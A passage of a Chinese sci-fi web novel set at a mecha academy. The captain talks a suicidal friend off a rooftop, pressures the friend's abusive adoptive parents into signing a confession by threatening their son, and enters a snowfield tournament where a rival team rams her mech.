天幕外传来悠远的雷声,要下雨了。雨后的天台会变得更滑,也更容易失足掉下去。 陶影缓缓走近,脚步中没有慌乱，只是一如往常的冷静。 “太危险了,下来吧。”陶影语调平静地伸手。 南卦微笑着摇头，还是定定地站在栏杆外面。 “我真的没事。你们先回去吧,我冷静一下，自己就会去上课的。” 沉默片刻后，陶影直接问： “南卦,你想自杀吗？” 林别歌赶忙拉住陶影，小声道：“你怎么这么问，刺激到她怎么办？” 陶影没说话，只是手指在光脑上敲下几个字母，然后点击搜索。 林别歌凑上去一看。 《星际自杀预防手册》第一条。 【当怀疑有人想自杀时，请勿旁敲侧击，而是直接询问——“你想自杀吗？”】 【引导对方说出内心感受,可以大幅降低自杀几率。】 林别歌挠头。是，是吗？还有这个原理。 果然，陶影问出这句话后，南卦陷入了长久的思考。 南卦点头说：“是的。我想。” “但我已经很久很久没有真正想过死了。” “入学之后，我每天都处于一种非常平和的状态。一切都很顺利，我的人生从来没有这么美好过。我以为终于可以脱离那个家，开始全新的生活。” “但他们又出现了。” 南卦面露痛苦，语气激动起来。 “他们总是这样出现，每一次在我觉得自己即将走出来的时候，每一次！” 南卦说完，像是发泄出什么一样，脱力地倒在栏杆上，缓了缓，又继续道。 “看到寻人启事的时候，那种熟悉的感觉又回来了，好像我所付出的所有努力，让我活下去的努力，全都没有意义。” 那种无力，无助，什么都无法改变的痛苦，总是在生活好不容易好了一点之后，又让她坠落谷底。 南卦面露苦涩：“你们肯定看出来了吧，没错，那张传单是找我的。他们会毁了我……我太了解那个家了，他们会一直闹到我退学为止。” “小影，我的人生不会变好了。” 陶影一直平静地听到最后，这次她沉默很久才开口。 “至少有一点可以确定，你的人生的确变好了，南卦。” 南卦双手抱膝，泛着眼泪抬头：“哪里？你是说，我这么努力想要活下去是变好了吗？可我还是一直在被打倒，这有什么用？” “你也要告诉我，要乐观，要向前看吗？可我不是乐观的人，我做不到。” 南卦已经做好不被理解的准备，谁料陶影摆摆手道：“我想说的不是这个，这种时候听大道理只会更想死吧。” 南卦：“……” 她抹了一把眼泪。 “那你想说什么？” 陶影嘴角微勾，向前一步。 她的脚步很轻盈，没有劝导人向生的试探感，只是很自然地走到栏杆前，好像是来找南卦聊天的。 隔着栏杆，两人就那么对视。 像猫一样，是的，陶影像猫一样让南卦放下了戒心。 南卦还在等着答案，陶影吊足她的胃口，然后说—— “我看见你生气了。” 南卦疑惑地歪头：“我生气了？” “你刚才很激动地说，他们用一点小小的行为，就轻易左右你的情绪，一次又一次。” 陶影模仿着南卦刚才的语气，摊手。 “你生气了。” 南卦喃喃道：“对，我确实生气了。那又能说明什么？” 陶影微眯的眼睛带了几丝猫的狡黠。 “那代表你想活下去，只是遇到了一些问题——但这好办啊，我最擅长解决问题。” 南卦的视线略带茫然。 而可靠的队长似乎已经有了什么主意。 陶影晃晃腕间的光脑。 “要听听我的解决方案吗？” …… 南卦的情绪来得快去得也快，稳定后，就没有了想死的感觉。 南卦往天台内侧翻了过去，因为下雨，地面很滑，她落地的时候，差点摔了，还好林别歌眼疾手快将她接住。 陶影早早裹住了身上的外套，挡住溅起的水花。 南卦和林别歌在雨里摔成一团，浑身上下全湿透了。 两人女鬼一样的狼狈，又是一阵兵荒马乱地逃回宿舍，然后—— 用毯子把陶影裹了起来。 被体温枪不停扫射的陶影：“？” “我又没摔，你们把我塞床上干嘛？轻点轻点，我手淤青了！” 刚刚还一脸想死的南卦一转攻势，语气凶恶道：“你回来的时候淋了二十秒的雨！知道这有多严重吗！” “……” 所以现在一切恢复正常，她又成了被保护的脆皮队长吗？ 再怎么说也不至于淋了二十秒的雨就发烧吧——陶影看了一眼体温枪，37度8。 哇塞。 陶影惊叹地摇头。 这么夸张？ 她惊叹完，把床头药箱里的退烧贴啪地往额头一贴。 睡一觉起来应该就好了？陶影想睡觉，但闭上眼睛，却总是想着明天还得解决队友的事情，还有接下来几天的安排…… 睡不着。虽然身体沉沉的，但脑子异常清醒。 怎么才能健康入睡？ 陶影望着天花板思索片刻，侧头就看见林别歌正坐在床边，手腕沾了一点红色的液体。 刚意识到那是什么，陶影一阵头晕。 “……” 陶影眼睛一亮，戳戳林别歌的后背：“林别歌，你手给我一下。” “干嘛？我在搜《星际预防发烧手册》。”林别歌正忙着，根本没听清陶影说什么，直接转过身，最后见到的画面就是—— 陶影拉着她的手，一脸满足，安详地倒在枕头上。 开始婴儿般的睡眠。 “？” 林别歌低头看了眼自己擦伤的手腕，露出几滴血珠。 用晕血症强行入睡，这样也行？ …… 这件事发生后，南卦暂时在家休息，她虽然没那么想死了，但还是很担心继续呆在学校，会和来找她的家人打上照面。 南卦的缺席让同学们非常担心，都在问她为什么突然休息，之前站在天台上又是怎么回事。 陶影以她们整个宿舍都想上天台吹风为由，糊弄过去了。 同学们对这个理由毫无怀疑，毕竟这仨人平时就挺不着调的，干出这种事也不奇怪。他们转而开始讨论最近的另一个校内热议话题。 “不过这么说来，失踪的女儿究竟是谁啊？你们有人见过贴传单的是谁吗？” …… 机特学院门外，一个女人正在打电话，电话那头的男人语气急躁，像在催促什么。 “南卦还没有联系你吗？” 女人咬咬牙：“没，看来她这次是铁了心要和我们断绝关系。” “她想得美，把她养到这么大，想拍拍屁股就走人？”男人冷哼一声，“既然她不仁，就别怪我们不义了，你拿着照片去找她同学问问，满学校找她，我不信她坐得住。” 女人有些犹豫：“这，这，她成绩挺好的，如果在这里读书，是不是能拿奖学金啊？要不再等等，说不定能拿到点钱——” “什么奖学金，我当初帮她改的那个学校根本不行，哎你不懂，总之就是很差的学校，能有什么奖学金，她没找我们要学费就不错了。你听我的，就找同学打听她，她脸皮薄，经不起议论。” “好，好。”女人满口答应，挂断了电话。 女人手里握着南卦的照片就要走进校门，门口的保安伸手便拦住了她。 女人愣了一下，笑道：“我是学生家长，来找人的，前两天还进去过，您忘了？” 保安冷哼一声：“少来，已经有学生报案了，你们就在这儿等着星警吧！” 报案？什么案？ 女人还不知道怎么回事，就被火速赶来的星警按到了 地上。 “什么，你们放开我！我又没做什么，你们凭什么抓我？” “没做什么？骚扰帝国的未来，你还有理了。” 那星警看了看光脑的通缉令，没错，就是这个女人。 她战术目镜冷冷反光，按住通讯器。 “嗯，好的，人抓到了，那我转交给贵国。” …… 女人眼睛被蒙着黑布，她能感觉到自己连续换乘了很多次穿梭舰。 重力似乎也有微妙的不同。 她现在难道不在切斯特星？这群人真的是星警吗？他们究竟想做什么？ 听到身边有人在打呼噜，女人分辨了一下，那声音似乎是她丈夫，女人惊喜道：“老丁，是你吗！” 有人一把扯下女人眼睛上的黑布，突如其来的刺眼光线酸涩得让她想流泪。 而她身边的男人还在睡觉。 女人用胳膊肘撞了他一下：“这种时候你还有心情睡觉！这是哪里？你为什么不在家？我儿子呢？” 男人闷哼一声，这才悠悠醒转。 两人对了一下情况，男人也是在家躺得好好的，但被突然冲进来的星警抓住了。 他们的手脚都被铐到椅子上，根本动不了。 女人只能挪动椅子，但金属制的椅子，稍微挪动便是尖锐的摩擦声。 他们不敢动了。 这里似乎是一个审讯室，右边是一大块单面玻璃，前方一道生锈的铁门，关着，四个角落各有一个摄像头。 铁门突然打开。 走来一个身体瘦弱的女孩，四肢都没什么肉，一看体质就很差。 像是个学生，长相也没什么攻击性的样子。 头发利落地扎起，一抹碎发随着她坐下，被风吹起，她伸手便自然地往耳后一捞。 额头上还贴着退烧贴。女孩似乎觉得这个东西有点碍事，撕下来放到桌上。 她慢悠悠将手中的文件夹放在金属桌上，发出清脆的声音，让两人耳边一震。 但总之是和审讯室这种地方不太能搭上关系的身份。 男人回神道：“你是谁，为什么抓我们！” “哦，放轻松。抓你们的可不是我。”陶影举双手呈投降姿态，眼里却毫无感情。 “我只是作为南卦的代理人，来确认一些事情而已，毕竟她完全不想见你们。” “我们女儿的代理人？代理什么？” 他们想起自己被抓的时候，星警说的罪名是“多次骚扰”，心中当即便理解了，这件事肯定跟她们那个女儿有关系。 两人瞬间硬气了起来。 “你不会想说我们去学校找她的事情是骚扰吧，我们可是南卦的家人，她身上流着我们的血，想和她团聚，这有什么不对吗？” “哦，流着你们的血。血缘关系很重要吗？”陶影无聊地转笔，手一滑，笔掉落在桌面的文件夹上。 文件。 两人一早就注意到了这份文件，不知道为什么，头皮有些发麻，他们感觉这份文件里，会有对他们不利的东西。 可，是什么呢？ 这病弱学生又为什么要突然提到他们和南卦的血缘关系？ 陶影后靠在椅背上，揪住一缕发丝，专心致志地玩弄起来。一直到对方受不了折磨，她才坐起身。 就当作血缘关系很重要吧。 “可你们不是南卦的父母。” “你，你什么意思，我们不是她父母还能是谁，她永远都是我们的女儿！” 男人说到一半，却似乎想起什么久远的事，眸色一闪。 陶影手撑在桌面上，上身微倾，极具压迫感地吐字。 “一定要我说得这么清楚吗？我的意思是——你们跟南卦有血缘关系吗？”—— 作者有话说：我们万能的队长大人[撒花] 第60章 “我们养了她十八年！你胡说什么？”女人扬声道。 男人也冷哼一声：“我们可是有合法监护人证明的,上面附带双方基因识别码。倒是你，又不是星警，凭什么一副审讯的姿态对待我们,这个会面合法吗！我要叫律师，律师！” 这对男女显然知道外面有星警,朝单面玻璃大叫，但任凭他们做什么,陶影都淡定坐在那里,目光平静如水,一副看着他们表演的样子。 单面玻璃外一片死寂，没有人回应他们的叫喊声。 两人头上冒汗,难道这个病弱学生竟然买通了星警吗？她一个学生怎么会有这种能力。 陶影敲敲桌子,拉回他们的注意。 “质疑这个会面的合法性之前,先论证一下你们监护人证明的合法性吧。” 陶影甩出一份记录。 这是丁姓男子和登记处人员的聊天记录，内容是买卖监护人证明。 陶影抱臂：“南卦是你们从黑舱买来的。” 那女人看都没看记录一眼,侧过头装傻：“什么黑舱，听上去就不是什么好地方,我们可不知道。” 男人：“你一口一个黑舱，我看你很了解这些东西，不会是刻意污蔑吧？” 他们一唱一和,显然不承认这个指控。 男人心想，这学生要是真的有证据，还需要问东问西？直接叫星警进来，让他们签认罪协议就是了。她肯定是在虚张声势！不能入套。 想到这里，男人高傲地昂起下巴。 “不管你说什么，我们都养了南卦十八年。” “养？南卦经常吃不饱饭，还要出去赚钱,钱不够你们还会殴打她。这在文明人的国度通常叫虐待，不叫养。” 男人理直气壮：“我们家里穷，她赚点钱补贴家用有什么不对？何况孩子哪里有不揍的，不揍她能听话？” “是吗？”陶影手中的笔按动了一下，“那你们对另一个孩子也是同样的要求？” 那二人不说话了，听到陶影提起他们的儿子，转而焦急道：“你把他怎么了！” 原来是长了心的。 就是长歪了。 陶影装作没听见他们说话，强行换回原本的话题。 “南卦是黑舱诞生的孩子，既然你们不知道黑舱是什么地方，我就好心介绍一下。” 陶影按下遥控器，投影幕布缓缓下降。 黑舱的照片打在幕布中心。 拥挤的房间内，地面有规律地摆放着密闭的圆柱形玻璃缸。 无数蜷缩的胎儿挤在一起，分享着羊水。时不时有胎儿想动，整个玻璃缸内的胎儿都会开始移动，像是一个长着无数眼睛和手臂的不可名状生物在缓慢蠕动、抽搐，肉色的人造胎盘脐带挤成一团，让人头皮发麻。 地上满是乱堆的基因标本，一片杂乱，隔着幕布都传来一阵令人作呕的腐烂气味。 黑舱，是指未经注册的非法繁育舱，用于体外培养胚胎。 正规繁育舱的申请需要时间，也需要基因审核，条件很高。 比如为了控制遗弃行为，人口资源管理局会提前冻结申请公民的部分资产，等小孩成年再进行返还。 比如公民若未履行养育职责，这部分资产将收归星际社会抚养机构。 显然，一些公民不愿意为繁育付出这么多成本。他们于是选择了黑舱，在这里，只需要提供基因，和三千星币的手续费，就可以合法拥有一个孩子。 但也因为其低廉的手续费，黑舱培育出的婴儿，基因病发病率，以及遗弃率都非常高。 以及——基因混杂，往往不能追溯血缘。 因为基因无法溯源，南卦和这两 人之间的基因识别码，自然是伪造的。 利用这点，南卦可以完全，彻底地，和这个家庭脱离关系。 “非法购买婴儿罪及虐待儿童罪……等等。”陶影翻了一下文件，从里面拿出一张。 “本来我跟南卦各准备了一份协议，她想着不用做得太狠，说你们要是有一点悔改的迹象，就给她的那份协议，但看来你们是用不上了。” 陶影掏出自己拟定的那份认罪协议。 “签吧，我给你们十分钟。” 男人踹了一脚桌子：“你让我签我就签？你是什么东西，凭什么审判我。” “审判？这是交易，”陶影将协议推了出去，“签了这个，你们就不会被公开起诉。” “公开起诉又怎么样？”那男人不以为意，“大不了我们和南卦一起上星网头条，她不就是害怕这个吗？你当我没文化看不懂是不是，签了这个协议，我们照样要坐牢，而且是第四星系的监狱，我们会被带上脚镣，再也不能踏入第一、第二、第三星系一步！一旦离开第四星系，就会被电击到晕厥！” 这学生休想骗他们上当！ “哦？竟然没骗到你们。” 陶影一副困扰的模样。 “如果公开起诉，你们的案件会被正式移交给亚克联邦进行处理，南卦如果被大家知道自己的身世，应该会度过一段艰难的时光，我不想看到这种事情发生。” 男人的鼻孔里发出一声嗤笑。 “那当然。” 男人正得意的时候，陶影却话锋一转，歪着头道：“所以如果不签，你们的儿子会发生什么，我就不知道了。” “很不巧，你们的儿子正在来这里的路上，但他乘坐的穿梭舰系统出错，半路抛锚了。” “他现在被困在第十三信标裂隙等待救援。” 陶影按了一下遥控器。 幕布上出现一个十六七岁的男性，他胳膊粗壮，但眼神呆滞，智力似乎有些问题。 手不断重复地拍着墙壁。 “妈妈，妈妈你在哪里！”“爸爸，爸爸！” 就只是不断重复着求助的声音。 两人呆滞了一瞬间，似乎没想到陶影竟然敢做出这种事。 陶影笑眯眯道：“怎么，觉得我这样帮南卦，所以肯定是好人，不会做坏事？” “你，你怎么敢这样对他！” 男人当即暴起，桌子被他猛踹，发出一声巨响。 那可是第十三信标裂隙！ 第十三信标裂隙，地处雷瓦尔帝国和亚克联邦交界，在一场和虫族的大战后被彻底废弃，星际知名的法外之地，每年有不少人在这里离奇失踪，最后根本找不到下落。 “拿这样一个孩子威胁我，你有没有良心！” 陶影终于收起面上的笑容，冷漠地靠在椅背上：“十六七岁，倒也不算孩子了。” “所以，签不签？” “你们有两个选择，一，永远消失在南卦面前。二，你们的孩子永远消失在你们面前。” 男人颓丧地垂下了头。 三分钟后，陶影拿着认罪协议走出审讯室。 单面玻璃外坐着一个圆滚滚的星警阿姨。她正在吃千层酥，手上都是碎渣，正想伸舌头去舔，看到陶影出来，赶忙闭上嘴，整理了一下仪容。 星警阿姨清清嗓子，伸手接过手中的认罪协议，检查一下后，直接盖章备案。 她声音浑厚道：“盖章即定罪。后面的事情就交给我吧，保管他们不会再去骚扰你朋友。” 陶影真诚道：“谢谢您帮忙。” 那星警大方地摆手：“不用谢，我也是黑舱的孩子，浑身基因病，现在肚子上还插着管呢，最看不惯这种不负责任的父母。” “但今天我们在这里见面的事情，没有第三个人知道，懂？” 陶影乖顺地点头。 星警阿姨拍拍她的头：“好孩子，为了朋友奋不顾身，还冒险联络我合作。” 其实陶影并不是偶然找上这位嗜甜的星警阿姨，而是经过了一系列复杂的技术调查…… 但具体细节就不必说了。 那星警阿姨又道：“不过你能这么帮她，应该也不止因为是朋友吧。我看你也像是黑舱的孩子。” 陶影点头应是。 倒也不是她说谎。 陶影对人生最初的记忆，是在第三星系的某个满是老鼠的垃圾堆里翻找食物，然后被看不过去的好心监护人捡回家。 综合考虑时间地点等各种因素，陶影得出结论，她是黑舱诞生的婴儿，然后被丢弃的概率很大。 那星警阿姨叹了口气：“是啊，你这孩子，一看就是满身的基因病，应该也吃了不少苦。” 她慈祥地拍拍陶影的肩膀。 “一切都会好的。” …… 事情结束后，南卦的精神状态好了不少，只是偶尔半夜还是会做噩梦。 南卦和陶影聊过这件事。 “我感觉自己永远都走不出那个家的阴影。明明知道他们不能再伤害我，但心里无法控制，总会想起当时的痛苦，然后很久才能缓过来。” “这种感觉还要持续多久？” 陶影被问到这个的时候，正在沙发上画机甲设计图，她闻言顿了顿，放下笔。 人往沙发旁边挪了挪。 陶影眼神认真：“你想听实话吗？” 南卦缩在沙发被里点点头。 “噩梦还会伴随你很长一段时间，也许永远都不会消失。但好消息是，现在他们永远不会出现在你面前了。” “而且，你知道怎么从噩梦中叫醒自己，它不会再让你坠入深渊。” 南卦陷入思考。 林别歌在门外大喊：“影子，你不要吓唬她！” 南卦眨眨眼睛，摇头道：“小影没有吓唬我，她的话让我很安心。” 林别歌小声嘟囔着：“噩梦永远不消失也会让人安心吗，为什么我总不懂你们两个的交流方式？肯定是你们的问题。” 说完，林别歌继续跟拉布拉多玩球去了。 陶影提交完作业，裹着毯子，就这样和南卦一起坐在院子旁边的走廊。 外面在下雨，陶影往里缩了缩。上次淋了二十秒的雨就立竿见影地发烧，这次可不敢了。 她听着雨声问：“联赛海选要开始了，你的状态OK吗？” “我很OK，倒是你小影，真的退烧了吗？” “当然退了。那看样子我俩都没问题，剩下那位……” 她们齐齐看向院子里正在跟拉布拉多拔河的林别歌。 “一如往常。”“看来是没问题。” 两人击掌：“海选赛加油！”—— 作者有话说：海选赛加油[撒花]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 距离天穹杯星际机甲联赛正式开始,还有六个小时。 一切流程都在有条不紊地进行着。 整个第九分赛区的机甲程序师，此刻正在紧锣密鼓地对参赛机甲统一进行最后的自检。 升降梯全开，机甲师操作机械臂,绞紧机甲关节连接处。机协负责人在机甲库内走来走去，进行最后的数量清点。 “共三十支队伍,提供机甲曙光T4五十台，愚者MK2四十六台,VEGA二十台,天机零四台,共计九十台正式机，三十台备用机,数量无误。” “老詹,蒂娜,久美子，报告机甲状态。” “系统自检全部通过,无异常。”老詹机械地回答。 久美子轻微点头：“按照预定流程，能源填充完成, 能源核心状态确认良好，本次非常感谢能和您共同参与这份工作，希望您身体健康——” 蒂娜一把捞住久美子,打断她的一长串敬语施法，开朗地朝负责人挥挥手。 “ALLOK！” “好。”负责人伸手按住耳麦，朝那头道，“组长，机甲状态确认完成，没有问题。” 空中稽查星舰上，组长简洁地“嗯”了声,她两手插兜，站在视野最好的房间，俯视赛场。 赛场被漫天的雪白覆盖，阳光穿透云层，嶙峋的山脊因为雪薄，露出“乀”型的黑色顶峰。 切斯特星第九分赛区，在切斯特星C区雪域。 海拔最高五千米，顶峰气温最低可达到零下二十五度，而主要赛场在海拔两三千米的雪原上，因为太阳直射，雪线附近的部分积雪融化。 赛场的温度在五度左右。 雪原受热的部分，积雪融化，地面斑驳且湿滑。 这对从来没有接触过类似地形的学生来说，应该是一个很大的挑战。 组长切换了通讯对象。 “莉莉，开放选手入场。检查员就位，检测是否有人携带作弊仪器，不可以携带任何与联赛无关的物品进入赛场！” 莉莉敬礼：“收到！” …… 而另一边，入场检查处。 检查员正在这里等待选手入场。 【请各位选手进入检测舱，停留三十秒。】 【亮绿灯请直接进入，亮红灯请暂去右侧的等待区，检查员将对你们携带的物品进行人工筛检，谢谢合作。】 头顶的无人机嗡嗡作响，它唱着欢快的赞助商歌曲，拉着营养液广告横幅飞来飞去。 大家有序地进场，检测舱接连亮起绿灯。 突然，第三个检查口传来高频的警报声，红色警示灯亮眼且不可忽视地闪烁着。 检查员目光一凝，迅速围了过去。 一名检查员提示那名学生靠边，然后将他引导至人工筛检区。 那学生捻着衣服下摆，转了转身体，还掏了一下身上所有的兜，示意里面空空如也。 随后眼神闪烁道：“应该是仪器出错了吧，你们刚才也看见了，我什么都没带。” 但检查员并不信这一套，他们见过太多投机取巧的学生。 “是不是仪器出错，扫描一下就知道了。” 检查员冷冷说完，举起手中的扫描仪，蓝色光线在学生身上扫过，光线停留胸口的时候，突然变成红色。 学生脸色一变，正要伸手捂住胸口，那检查员先他一步，扯下学生胸前的东西。 是个金属制的钮扣。 再次用仪器扫描后，屏幕上显示，这是最新型的电波发射仪，外表非常具有迷惑性。 “根据星际高校机甲联赛赛事条例第三条第二款，携带作弊仪器者若被发现，实行禁赛三年处理。” 那名学生和他的队伍，都被请出赛场。 “真是，心思老是用在这种事情上，就算过了海选又怎么样。” 检查员摇着头感慨两句，又开始指挥后面的同学排队继续检查。 有新生小声问：“就一个电波发射仪，至于吗？禁赛整整三年哎，基本上就没有机会再参加了。” “你不太懂技术吧？电波发射仪如果用得好，足以让一台机甲失去行动能力，还可以远程操控机甲。” “他这赛前被发现都还算运气好，如果是赛中被发现，那可就是永久禁赛了。” 接下来，学生们都一路绿灯进去，没有什么异常事件。 检查员看了眼时间，还有一个小时左右，大部分队伍都已经入场了。 啊，感觉可以下班了。 他们正懒洋洋地摸鱼，突然有三个人大包小包地走进了检测舱。 机器开始疯狂报警。 检查员以为自己看错了，揉了揉眼睛。 不是，这三个学生是当他不存在吗？就这么大摇大摆的拿着东西就进来了？ 因为她们姿态太过理所当然，所有检查员一时都愣住了。 离三人最近的检查员反应过来，哎哎地走上前。 “你们三个，站住。” 那三名学生十分乖巧地就跟着来到了筛选区。 但检查员拿着仪器上上下下扫描了个遍，手中的仪器从头到尾都是蓝光。 没有携带作弊仪器？ 那她们怎么带了五个背包。本来还以为是掩盖作弊仪器的障眼法，结果真就只是五个背包。 来比赛还是来春游的？ 那检查员蹲下身：“你们带这么多东西干什么？我需要确认一下内容，有没有什么不方便的？” 三人齐齐摇头。 还挺配合。 然后检查员匪夷所思地从最大的背包里，掏出一包向日葵味的泡面。 “你们带泡面干什么？” “怕打到一半饿了，填下肚子，我还带了电热水壶呢。”身高显眼的那名学生答道。 “……”检查员皮笑肉不笑道，“电热水壶多不方便，你可以直接用机甲引擎烧开水，很快的，五秒立刻沸腾。” 那学生拍掌：“还有这种技巧，学到了。” 检查员心道学个屁，这人怎么连好赖话都听不出来。上赛场了还想着吃！在林别歌震惊且不舍的目光中，检查员把她装满了食物的背包放到身后的“收缴”筐子里。 “场内不允许携带食品和无关电器，这些都没收了。” 检查员检查完五大包食物，正想挥挥手让她们进去，就看见林别歌身后穿得严严实实的陶影侧身一让，又露出一个背包。 “……” 检查员拿着小型扫描仪蹲下身。 “这包又是什么，也是吃的？” 陶影举手：“哦，是我的应急物品。” “应急物品？”那检查员抬起头观察了一下，眼神中似乎在说应急什么。 那当然是应急生命了。 陶影吸吸鼻子。 气温很低，她穿着保暖防风的外套，浑身上下裹得严严实实，简直是全副武装，即便这样还会时不时咳嗽一下。 一阵冷风吹来，刀子一样钻进喉咙，体感温度下降起码五度。 陶影有点挨不住，举手示意，然后从正在检查的背包里扯出一张毯子，往身上一裹。想了想觉得不够，又从背包里掏出几个发热包，放进外套背部的夹层。 虽然抽签到第九分赛区后，陶影就提前做了准备，但没想到这么冷。 打了个喷嚏。 发热包起作用后，总算暖和一点了，但即便如此还是很冷。 想快点进机甲，那里面没有风，会暖和很多。 陶影对检查员：“您能快点吗？” “需要检查完所有的东西，这是流程，希望你们理解……这什么？”检查员举起手中的抽纸，奇怪道，“你带一包黑色的纸巾干嘛？” “我晕血，用这个颜色的纸巾擦血会比较不明显。” 晕血，好罕见的基因病……不对，正常开机甲为什么会流血？ 检查员按下心中的疑问，决定以专业的态度继续询问。 “纸巾就算了，那这又是什么？” 检查员掏出一个药瓶，紧接着又是一个药瓶。 三十秒后，检查区的地面上摆满了二十几个药瓶。其它检查口的学生都已经陆续通过，只剩下陶影她们这一组人了，一群检查员全围了过来，叽叽喳喳的。 “不会是违规药品吧？能让人身体素质瞬间飙升的那种。” 老牌检查员翻来覆去看了看，但上面的病名一个都没见过。 “要是没提前申报，这也算作弊的。” 陶影简短道：“哦，这个是合法药品，我报名后补申报过，系统内是有的，您查查。” 检查员查了，果然系统内部都有记录，但这更令他害怕了。 检查员额头开始冒汗，看向陶影的目光逐渐不对劲起来。 哪个缺德玩意儿分个体质F的学生过来都不提前通知一下的！ 那检查员转身悄悄给医疗部发了消息，让他们提前做好准备，医疗部也是一阵炸锅。 检查员一个个数过手中的浓缩咖啡液、氧气瓶、快速止血带、医用敷料，表情一次比一次怀疑人生。 直到掏出空气净化器的瞬间，他们齐声道：“真的有必要吗？” 陶影吸吸鼻子：“很有必要，如果进入空气质量比较低的区域，我会晕过去——” “好的你不用说了。” 检查员们分工合作，确认所有物品都没有问题后，终于送走了这尊大佛。 大冷的雪山上，检查员擦掉额头热出来的汗。 从来都是学生通过检查口的时候松一口气，为什么检查到这个小队的时候，如 释重负的会是他们，可恶，究竟是谁让这名学生成功报名的！ 距离比赛开始还有十分钟。 所有的机甲，按照每个队伍提前选择的型号，在划分的区域内摆好。 陶影手速飞快地调整完队友的机甲，提了一句：“比赛形式还记得吧？” “当然！积分赛，有效攻击一下算一分！以我们队伍的情况来说，曙光T4为热力刀砍击，愚者MK2为锤击，机甲内安装的监测系统会自动计算分数，经过裁判人员的进一步裁定后，最终得分将会显示在天空那台星舰上。” 说着林别歌往天上一指。 现场没有观众，本场海选赛的裁定，包括现场人员调度，比赛内容转播，都将在这台中型星舰内完成。 此刻，参赛队伍的名称，都显示在星舰外屏，“太空女鬼队”当然也在列。 “还有开场位置。” 所有的机甲挤在同一片区域比赛，肯定没什么看点，所以随机传送开局点，基本上是机甲联赛的一大乐趣。 “传送系统会把所有选手随机传送到五个区域，就类似之前图兰提斯的坐标抽签，只是这次同一个队伍的选手，不一定能抽到一块。 “传送结束后，如果区域不一，优先联系队友。”陶影补充道。 “好嘞！” 距离比赛开始还有两分钟。 大家都上机开始热身，对自己的机甲进行最终确认，这期间如果发现问题，可以联系工作人员更换为备用机。 雪原在阳光的照射下，温度略微升高。 雪层被机甲踩实，而已经融化的地方，雪水流得到处都是。 地面非常打滑。 一时间连续好几台机甲都摔在了地上。 而陶影刚坐上自己的曙光T4，想着今天该怎么安排两位队友，屁股就被剧烈地颠了一下。 屏幕一阵旋转后，她意识到自己是被人从右侧撞了。 没来得及反应，曙光T4便砰地摔在地上，刺溜滑出去十米远。 似乎滑冰途中还来了一个连环撞。 接连几声“砰砰”的撞击，还有金属在冰面上摩擦的尖锐声音，传遍了赛场。 “谁啊比赛前撞人！” “烦死了，现在来不及换机甲了，缺不缺德？！” 陶影听到一连串骂声，但她被颠得眼冒金星，脑子里想的只有：还好已经系上了安全带，不然这会儿就光荣牺牲了。 她甩甩头，揉揉大腿上的淤青，坐起身检查了一下受损情况。 光学镜头出现裂痕，HUD面板显示的画面中间缺了三分之一。 系统提示： 【腿部装甲损坏30%。】 【右肩装甲损坏20%。】 【左髋关节受损50%，结构松动，零件缺失。】 【建议重新调试，并更换对应零件。】 机体情况不容乐观啊。 陶影摸摸下巴。 谁撞的她？—— 作者有话说：陶影：你完了。 第62章 机甲的损耗率超出陶影的预计,现在这个时间点…… 只有顶着大幅损耗的机甲硬上了。 耳边通讯声嘈杂，陶影重新调整了一下频率，操纵曙光T4,回到刚才的位置，她环视一周,确认身边机甲的状态。 刚刚攻击来得太快，陶影没看清是谁撞的。 林别歌和南卦的机甲都在她左边,刚才的攻击是从右边来的。 陶影转向右侧。 一台红色涂装的VEGA正在传送环内,时不时向陶影的方向探头,仿佛有点想过来，但脚一伸,又缩了回去。 机师的性格很是优柔寡断。 陶影确认一眼地上的雪痕,VEGA到她的位置,落点处并没有重踏的痕迹。 撞她的不是这台红色VEGA。 果然，陶影迅速接到了那台VEGA的近距离通信。 HUD面板的小窗上,赫然出现一顶民族风针织毛线帽——不好意思，是一位戴着民族风针织帽的棕皮肤男生。 主要他帽子在一片黑漆漆的驾驶舱背景中,实在太抢眼了，一时间没看到他人在哪儿。 “有什么事吗，同学？”陶影问。 似乎察觉到陶影的视线在他的帽子上打转,男生轻咳一声，不太自在地把帽子往后面扯了扯。 “就是想问问你情况怎么样，我刚刚正在跟队友说话，突然余光看见你被撞了，想过来拉你，但是你已经飞出去了。” 陶影自然道：“谢谢，那你看清撞我的是谁了吗？” 男生语气迟疑了一下,答道：“这个，我也没看清。” 听帽子同学这个语气不像没看清，倒像是看见了不敢说。 这里的场地不大，几十台机甲都开着视觉模块，常理上考虑，不可能没有人看见是谁撞她。 那就只能是大家忌惮那个人的身份，多一事不如少一事。 陶影勾起一个淡淡的笑容，托腮道：“你看见了。” 她语气肯定，没等男生反驳，又继续接了下一句。 “让我猜猜是哪台？” 撞陶影的机甲，在左侧的二十六台当中。 观察一番后，陶影的视线最终停留在一台黑白双色的机体上。 这台机甲高四米，比其它机甲矮上一米左右，正面白色，后背是黑色。头部浑圆，从侧面看呈阴阳太极图的形状，机体端着银白色的狙击枪，很有精神地矗立在那。 天机零，强狙击、强隐匿型机甲。 外观涂装还算漂亮，但有一处瑕疵——它左臂上残留的一点黑色油漆，暴露了他刚刚的所作所为。 “撞我的是阿尔泽塔军校的天机零，对不对。”陶影环臂靠在驾驶座，手在肘间敲了敲。 那名男生啊啊地叫了两声，手在屏幕上乱舞。 “什么阿尔泽塔军校，别说是我说的！我什么都不知道！” 对方慌张地切断了通讯。 陶影了然轻笑一声。 这次使用天机零机型的一共四个队伍。陶影能那么快锁定，是因为这些队伍中，能让所有选手忌惮到这个地步的，只有阿尔泽塔军校。 阿尔泽塔作为三级军校，等级并不算高，但他们非常有名，甚至比一些一级军校还要更有名。 因为校风颇为流氓。 像是公频语言侮辱搞对手心态，小组合作赛拿完资源背刺队友，刻意挑衅对手导致其受重伤，对阿尔泽塔的学生来说，都是家常便饭。 去联赛论坛问一句：“怎么评价阿尔泽塔军校”。大家的回答都是：“哦，他们啊，为了赢不择手段，还特别记仇，千万别跟他们沾上边。” 偏偏阿尔泽塔的行为符合比赛规则。 这次也是。 阿尔泽塔军校故意卡在传送前几分钟，撞击陶影的机甲，让她没有时间更换备用机甲，不算违规。 有同样被撞的人对此表示不服，大喊工作人员。 队友叫停了他无意义的行为：“短途跃迁环要启动了，赛方来不及给我们换备用机的，只能弃赛了。” 那人急了：“怎么来不及，大不了我们迟一点进场。” “短途跃迁装置需要冷却，这意味着在开场传送后，至少等待一个小时才能再次传送。等第二次跃迁开始，比赛已经结束了。” “太破坏比赛公平了，难道没有人管管吗？” 队友叹气：“他们只会说自己是不小心撞到的，我们没办法。” 